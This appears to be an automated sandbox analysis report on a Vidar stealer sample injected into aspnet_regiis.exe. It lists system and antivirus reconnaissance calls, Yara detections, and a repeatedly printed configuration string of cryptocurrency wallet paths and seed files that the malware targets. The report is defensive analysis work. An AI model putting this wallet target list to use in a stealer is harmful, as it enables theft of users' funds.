Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetLocaleInfoA,	3_2_0042E6A4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6E80BE3B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6E80BE3B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00410C53 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.6e820000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e820000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e7f0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5576, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia 